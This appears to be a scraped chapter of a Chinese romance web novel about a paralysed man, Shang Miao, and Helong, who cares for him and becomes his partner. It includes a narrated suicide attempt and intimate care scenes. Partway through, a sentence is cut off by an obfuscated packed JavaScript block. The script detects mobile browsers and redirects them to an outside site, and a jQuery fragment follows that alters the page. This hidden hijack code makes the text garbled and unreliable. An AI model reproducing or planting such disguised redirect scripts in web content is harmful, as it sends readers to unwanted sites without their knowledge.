他那天怎么回她的？
“我配不上你了，鹤蓉。”商渺哽咽，想挣，无力的手拗不过，被她握更紧。
他狼狈得满脸水痕，却没能力擦眼泪，试图将脸藏进枕头：“别闹了。”
“我没闹，商渺哥。”鹤蓉替商渺擦脸。
面颊、口周，湿巾裹着她食指尖尖，擦他眼角汪积的泪，她声音轻，不刻意压低的轻柔：“我是认真的。”
*
鹤蓉是认真的。
商渺追求鹤蓉多年，一时间，竟彼此互换了角色，他防守，她追逐。
整整一年，他住院进行康复训练，如婴孩重新学着习得自己身体的掌控感，学吃饭，学坐稳，学驾驭轮椅，学习惯旁人纷至而来的怜悯眼神。
他足不出户，活动范围仅限医院。
和自卑自厌无关系，他纯是体质太差。
晒太阳稍微久了点，中暑头晕；风略略吹过了点，鼻塞畏冷；阴雨天他神经痛得厉害；艳阳晴，他瘫痪肢体起皮屑，一破皮，又生疮面。
全无离开医院的能力。
鹤蓉便学校和医院两头跑。
地铁四十多分钟，一来一回一个半小，有时下午的课业不紧张了，她午休也来看他，帮他戴上辅助手套，协助他笨拙地把饭送进嘴里。
“你以后别来了。”
数次，商渺这样说。
他思绪繁冗，机械地咀嚼饭菜直到口中一团浆糊才想起咽，语气低颓，避着鹤蓉的目光。
“你答应过我，不赶我走的。”鹤蓉放下筷子，看见商渺口角沾到了汤汁，她帮他擦净。
“我反悔了。”
“那我也反悔。”鹤蓉仍是那与生俱来的淡，没有软甜，也不厚重，帮商渺把饭拨得松散一些，方便他用勺子舀，她淡声，“我答应你笑着来见你，我反悔了，我以后难过地来见你。”
商渺哑口：“……”
他看着她坐去了小沙发，她言出必行，嘴角略微往下掉，表情如静水，却又由他投掷进了一颗黄连，午餐搁桌上，她许久都没再执筷。
跟他置气呢。
商渺方寸大乱。
衬衫塞进裤子，细腰扁扁一握，肩脊也薄，鹤蓉身形消瘦，瘦得他心慌。
他好害怕她不吃午饭，下午体力不支晕倒了。
她若病了。
他会疯掉。
“鹤蓉。”商渺启齿。
他找回温润声音，不再带有负面情绪，叮嘱她：“要好好吃饭。”
“那我以后还能来吗？”鹤蓉手扶膝盖，坐得端正，淡而不疏地问。
默了默，商渺软绵绵的手拨弄米饭，无计可施：“你一天来一次就够了，有时间，多睡睡觉，也和朋友出门玩一玩。不要把时间都耗在我这里。”
他拿她毫无法子。
他根本就对她耍不起无赖。
“好。”鹤蓉漾笑，坐回病床畔侧，唤，“商渺哥。”
商渺关注她有没有拿起筷子：“怎么了？”
“我们今天在一起吗？”
他手一抖，饭洒在碗外，弄脏了小桌板。
也就她把告白当招呼打了，日日说，冷不丁地说。
他没出息，听多少遍都悸动。
悸乱，又杂糅酸楚与迷茫。
他读不到她违心为之的勉强；读不到她自甘舍身，对他负责到底的决绝；也读不到她的期待。
他拒绝，她神色显出若隐若现的落寞，可倘若他答应，他觉得鹤蓉也未必真正喜悦。
他僵在迷雾蒙眼的分岔路口。
读不懂她。
好像真的有爱情在里面，又好像是他自以为是。
商渺唯一确定。
鹤蓉或多或少认为，她对他有所亏欠。
若这是她的补偿方式，也太傻太不像话了，她也了解他呀，这并非他意愿所见啊……
“鹤蓉，你还在读研究生，我还在住院。我们现在的人生各有侧重点，还不到谈这个的时候。”
依旧是这搪塞话术，商渺也自知借口烂透。
他面对她就是脑子不够用，语毕，像个犯错的笨蛋低眉敛首。
被拒绝的滋味很不好受。
拒绝，也同样磨他心肠。
怎会进退都痛呢。
提起“在一起”，两人每次都陷入莫比乌斯环，来来回回演同一段对手戏。
鹤蓉也如往日，若有所思地点头，话题揭了过去，她把午餐端来商渺的床上桌，巴掌大的地儿，挤挤挨挨两人的餐碗。
商渺翻转手腕，轻质叉子固定在他的辅助手套上，纵使餐具轻飘飘，他持着也吃力，插起鸡肉，晃悠送进鹤蓉的碗里。
她喜欢红烧鸡块。
“谢谢。”鹤蓉把自己盘里的茄子给了商渺，各种风味的茄子他都爱吃，她清浅一笑，“人是铁饭是钢，商渺哥，我们都好好吃饭。”
*
商渺出院那时，鹤蓉硕士研究生毕业。
她天资聪慧，提前一年便修完了，环科系的博导纷纷向她递来橄榄枝，她择了活少事轻的一个，多余出些时间陪伴商渺。
他内疚得彻夜难眠。
他知道鹤蓉热爱就地考察，她对自然万物皆有探索欲，他却困她于方寸，那项目以建模分析为主，泡图书馆看资料就好，她竟为他放弃了户外。
他以为他迷惘在岔路口，不知左右，雾气蒙昧他视野。
而雾渐散，他才发现自己是块石头。
堵在她通往自由的路口。
商渺开始蓄意对鹤蓉挑剔，变得极难伺候，他佯怒地呵斥她，责难她，扮演不分青红皂白的恶人，演得面目可憎。
“滚啊！”他深吸一口气，努力提高音量吼道。
心肺功能枯朽，吼完，他跌回枕头，喘得气不接续，心脏仿佛被踩虫般碾，血肉模糊。
快走吧，别再来了。
求你了。
他恶言，左不过是扔进她这静水的一枚石子，浅波微澜，她坐在他身边，轻抚他起伏的胸口：“商渺哥，你不适合演坏人。”
“我知道，你凶我，你更疼。”
没法子了。
他黔驴技穷，只剩最后一招。
——商渺头一回萌生轻生念头。
世间无他，她便能投身世间了。
可他拿不起刀，够不到药，上不了吊，跳不了楼，连自毁都做不到，他试过像电视里的人物那样咬舌，艺术是艺术，奈何现实有出入。
他咬舌根，还不等咬断，口水便呛他到窒息。
肺动力不足，胸腔无力，没力气咳嗽，口水堵在喉间嗬嗬。
护工听到他嘶哑的破风扇般的响动，及时赶来，对他施救。
蠢事还是瞒着她为好。
他嘱咐护工千万别让鹤蓉知晓。
可护工还是说漏嘴了，善意的故意为之，鹤蓉小姐赶快劝劝商先生，人就一条命，不敢乱来啊。
那次，商渺竟见证了鹤蓉动怒。
她生气是无声的。
表情的淡半分未减，素来恬然的眼睛升了温，火气浮在瞳仁上，眼睫颤，攥紧手指，指骨泛白，又松开。
没有爆发，没有喊叫。
鹤蓉沉默地席地而坐，背抵床沿，她屈膝，双臂抱起小腿，小脸埋进膝间。
商渺躺在床上，侧过脸来，枯凝她背影，那仓皇无措的气息不适合她。
他是搅乱静水的罪人。
那就自惩，惩罚他听她的话吧。
“鹤蓉，对不起。”商渺嗓音温煦，“我错了，是我昏头了，我以后再也不会犯傻。”
他那时手臂力量极差，憋足一口气，蹭着床单去够她的发顶，亲昵揉了揉，她柔顺发丝缠进他指缝，他握不住她的发，却贪恋地舍不得挪开手。
“你答应我。”鹤蓉回头，手扒在床边。
“我答应你，我再也不敢了。”商渺驰然笑笑，笑意渐渐敛去，他眸色深沉地问，“鹤蓉，你介不介意，今天……是我们在一起的第一天？”
他不能再拖着她了。
倘若这“相爱的形式”能减轻她的负罪感，那他，就配合。
配合到她自我赦免为止。
*
频繁失眠的夜，商渺都这样劝说自己，掩耳盗铃似的自我洗脑。
——就和鹤蓉在一起。
——在一起到她卸下心理负担为止。
情侣身份，理应甜蜜。
何况他的爱如温泉水，恒温经年岁月，大学时，他最大的心愿不正是鹤蓉？他一如既往地深爱她呀。
可他现在太差了。
比以往追求过她的任何一位男生都差。
当自身不再完整。
爱，像极了玷污。
商渺只暗暗自我斗争，不流露给鹤蓉，在她面前，他仍是那豁达温柔的商渺。
他的心结。
在他们交往后的第一个假期才解开。
商渺提议，和鹤蓉一起回她家，拜访她父母。
破罐子破摔，他抱着扭曲的心态：叔叔阿姨看到他这副模样，赶他走吧，让他连家门都不许踏入，把拜访礼砸在他脸上，说他癞蛤蟆吃天鹅肉，骂他痴心妄想、他自不量力，叱他屎尿不知，魔障了、疯了、鬼上身了才看得上你……
把鹤蓉骂醒吧。
他没用没骨气，那求求她父母让她清醒吧。
可惜血脉相亲，鹤蓉的父母也是慈爱之人。
初见，约在鹤家吃饭。
鹤父和许教授亲手做了一桌子饭菜。
炖菜软软糯糯，极易消化；荤食全部剔骨，擓起可吃；食物大小也讲究，刚刚好方便用叉或勺吃，口味也做的清淡。
鹤父和许教授也对他多加照顾。
毫无嫌弃之意。
许教授给商渺的杯中插上吸管，吸管头转向商渺，她和蔼可亲，跟鹤父介绍：“小商，是我们学校特别优秀的学生，用年轻人的话说，就是六边形战士。现儿毕业了，还给母校捐钱，支持母校做科研。”
“感情没有绝对美满的，帮扶，互助，看见彼此才是真谛。”许教授谆谆，“两个人合适与否，要看内在。叔叔阿姨不干涉你们的感情。”
鹤父有老派学者的威严，惜话，却实打实外冷内热，商渺吃饭洒出来，他便把纸巾盒推到鹤蓉手边，无需多言的暗示。
和商渺也聊得来，越聊越目露对这年轻人的欣赏。
当晚，商渺留宿鹤家。
商渺本要去住酒店，但耐不住许教授盛情。
许教授打趣：“家里的客房都快落灰了，亟需人气，我们家也没有让亲朋好友住酒店的‘陋习’。”
四人仿佛真的一家四口，聚在电视机前，商量出了一部合家欢老电影，点播放，说说笑笑，互诉己见。
切了番石榴和雪莲果，你叉一块，我叉一块，鹤蓉喂商渺小口小口地吃一块。
和乐的家庭氛围于商渺而言，是稀缺品。
他从未体验过。
于是许教授坚持留他过夜，他一番挣扎后应下，恕他贪心，他真的舍不得离开。
*
看完电影，鹤蓉和护工帮着商渺洗澡。
鹤家住大平层，有三个卫生间，其中一个空间非常宽敞，容得下商渺很占地的电动轮椅，同时还支得下一张洗澡椅。
洗澡椅是鹤蓉外婆的。
老人家入冬了，容易生病，就过来和女儿女婿住一住，开春了再回自个儿家。
护工的手插进商渺腋下，抬他上半身，鹤蓉抬他瘫.软的腿，两人合力将他搬到洗澡椅上。
椅子虽有扶手，但椅背偏低，他腰腹无力，像不倒翁晃晃悠悠，坐不稳，鹤蓉扶着他，稳他不倒。
许教授实在热情，招呼商渺多吃点，说他太瘦免疫力低，有点肉，抗病。
盛情难却，商渺便大开胃口，多吃了半碗饭。
他腹肌已消失殆尽，久坐久躺，堆积了赘肉，今日多食多饮，腹部愈是浑圆，坠在大腿面上，护工抬起他的肚子，清理腿.根和耻骨，抹上沐浴露，冲干净，然后松手，他肚皮坠回去，白森森的软肉晃了晃。
反观他四肢，萎缩得厉害，曾经健壮双腿细如麻杆，脚踝不足一握的细。
洗澡椅毕竟不如轮椅舒适，坐了十几分钟，商渺喘息困难，脖子撑不住脑袋，头忽地垂下去，耷拉在胸前，气管折叠，他越是闭气。
护工紧赶慢赶给商渺冲水，然后，和鹤蓉一起把他抬回轮椅。
轮椅坐垫上铺了护理垫，全屋开了暖空调，也不怕商渺受凉，鹤蓉给他擦干，裹上了浴袍，匆匆推他去客房，和护工配合将他运到了床上。
体位从坐变成躺，商渺死寂的腿兀然抽搐起来。
腿往胸口方向缩了一下，猛地蹬直，烈风扫落叶般的抖，双脚已经足下垂，脚背紧绷，脚尖下勾，脚心相对地颤，脚和小腿连成直线。
“呃……嗬嗬……唔……”
痛呼伴着齿关紧咬的咯吱咯吱，商渺头向后仰了可怕的角度，忍耐痉.挛汹汹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357672|199693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来袭。
“呃……”
“咻咻……嗬……”
“唔……呼呼……呃……”
他几乎耗尽所有毅力死命忍住，不喊出来，惊动鹤蓉的父母。
倏地，他双腿安分下来，重重砸向床。
全身再度回到活死人状态，他双目泛空，苍白嘴唇开开合合，吐着微弱的鼻息。
方才排了的膀.胱，又泄小溪。
打湿了身下的护理垫。
“插……管吧。”商渺声色虚弱。
担心弄脏鹤蓉家的床上用品，他坚持再添一张护理垫，护工给他插上尿.管，他仍不安心：“纸尿.裤也穿吧。”
他怕极了腹.泻。
鹤蓉拦下护工：“商渺哥，什么东西穿久了都不好。”
她明白商渺的担惊。
但洗澡时，她观察到他穿了一天纸尿.裤，皮肤闷不透气，捂得发红，腿.根处甚至冒细细密密的疹.子。
不能再穿了，她为他的健康考虑。
被单脏了洗干净，再不济丢了就好。
鹤蓉守护商渺的自尊，没明说，她收起他随行带来的纸尿裤，和护工给他换上睡衣，为方便护理，他受伤后便省去了穿睡裤，下面打赤。
正好。
鹤蓉默默把商渺的腿摆成括号。
他毛发剃得干净，敞晾红肿处，有利于消炎消肿。
护工去另一间客房休息，鹤蓉不急着回她卧室，她坐床边，按摩商渺的双手。
他手部缺乏锻炼，手掌塌扁，指节细了一圈。
“商渺哥，你认床吗？”鹤蓉问。
他大学不住校，一直住在家里，她听护工透露，他在医院昏迷苏醒后，哪怕身体舒服，夜里也半寐半醒，难以熟睡，如此状况小半年才缓解。
她分析，他后来睡得好，是适应病床了。
“有点。”商渺笑着自嘲，“我是不是很娇气？”
“我读过一本心理学的书。”揉完手指，鹤蓉转转商渺的手腕，昏黄灯光析透她垂敛眼皮，她周身暖色，徐徐开口，“书上有这样的观点。”
“认床，是一种幼年时期，内心不安全感的表现。睡眠时，人类的大脑并非完全停工，一部分神经会被分出来监控环境。如果环境让人感到不安了，那么大脑就会警觉起来，左脑半球便会保持适当的清醒。这种情况，多发于童年缺乏安全感的人群，因为家都不能提供安全感，外面就更不安全。”
潺潺温语，她将他剖开。
清湛目光，像月光落在废墟上，仁慈的全知视角。
商渺□□赤裸，灵魂也被扒得一干二净。
他强撑坚强，佯装无事笑了笑，打算就此揭过，瘫手被鹤蓉拢在手心里，她捧着，贴近她温软的脸。
“商渺哥，我希望以后，无论在什么地方，无论睡哪张床，有我在你的身边，你都能安睡。”
“我希望，我让你感到安全，感到安心。”
他未曾妄想过。
甚至那时发疯追求她时，也不曾妄想。
妄想某一天，能与她抵足而眠。
她匀缓鼻息洒在他的肩，他心跳狂烈，乱七八糟，他或深或浅地喘，嗅到她发香清甜，时不时，她眼睛探出他的臂膀，澄净地望他。
看他睡着了没。
商渺并非脆弱外露、讨人怜爱的那种人，他不齿自己在她面前不着寸缕，裸着，不过想让她看清楚他麻烦的处境，屎尿全都假手他人，浑身惨白软肉，腿脚日渐萎缩畸形……
他暴露，求她知难而退。
而她却连他内心的破碎都接纳。
“你这样看着我，我怎么睡得着？”万幸灯灭屋暗，是遮羞布，掩饰他面红耳赤。
“会这样吗？”鹤蓉不懂，她听他的，闭上眼睛，白净面颊枕在他肩头，“我不看你了。”
他睡不着。
他哪里睡得着？
她睡得着吗？
他的心跳怕不是太吵闹。
“鹤蓉，我的眼睛有点痒。”商渺忽然启声，声音是藏着些心思的别扭，“你能不能帮我挠一挠？”
“好。”鹤蓉摁亮床头灯。
她俯在他脸前，咫尺之近，眼神一丝不苟，给他挠挠眼周一圈，问他还痒不痒，她没观察到他喉结翻滚，壮士断腕般，他支起脖子，脸凑上前，在她脸颊蜻蜓点水而过……
以唇拓吻。
极轻极快，不敢更贪心。
理智的商渺在敲打：鹤蓉，你被你没那么喜欢的人吻，你理应感到被冒犯，进而生出厌恶，一脚把这登徒子踹地上，把他踢出你的世界。
感性的商渺尚存期翼。
而在四目相凝间，他黯了眸光。
——鹤蓉眉目平静。
她眼波平静，清澈见底。
看着浅，却深不见底，深的，他窥不见一丝一毫其他的情绪。
被不喜欢的人，或被喜欢的人吻……
都不该是这样的吧？
你在想什么？
你是怎样看我的？
你有没有一点爱我呢？
你和我在一起，只因为内疚吗？
酸意漫漶，他心里长了一片青苔，晾不干的湿，鹤蓉更出乎他意料地，她回吻了他。
在他脸上同样的位置，浅尝辄止。
你奉以诚，神归还灵。
收你香火，予你山河。
一供一还，一求一应。
如此公平。
鹤蓉还在替商渺挠痒，他心头酸苦，酸得他不敢再暴露光下，体面会显出裂痕。
“我好了，不痒了。”商渺笑笑，仍是那和煦的笑弧，“我有点困了，你也困了吧？”
“那我关灯了？”
“嗯，麻烦了。”
熄灯，鹤蓉躺回商渺畔侧，掖好被子，枕他肩上，互相晚安，她恬然入睡。
商渺自那晚起，认识到自己卑劣。
鹤蓉确实让他心安，心安于她爱他，雨露均沾的爱，长久到直抵生命尽头；同时他也惶恐，她的爱，他只能采撷一滴而饮，得不到更多了。
酸涩之余，他感到无比幸福。
他明白，她的施舍，全出自于她善。
他残破的躯体在勒索绑架她的善心。
请宽恕他自私，晨醒问候，一日三餐，同出同进，同床共枕，假的相濡以沫也无妨。
他真的。
好幸福。
他不会自私太久。
他会把神女归还给世人。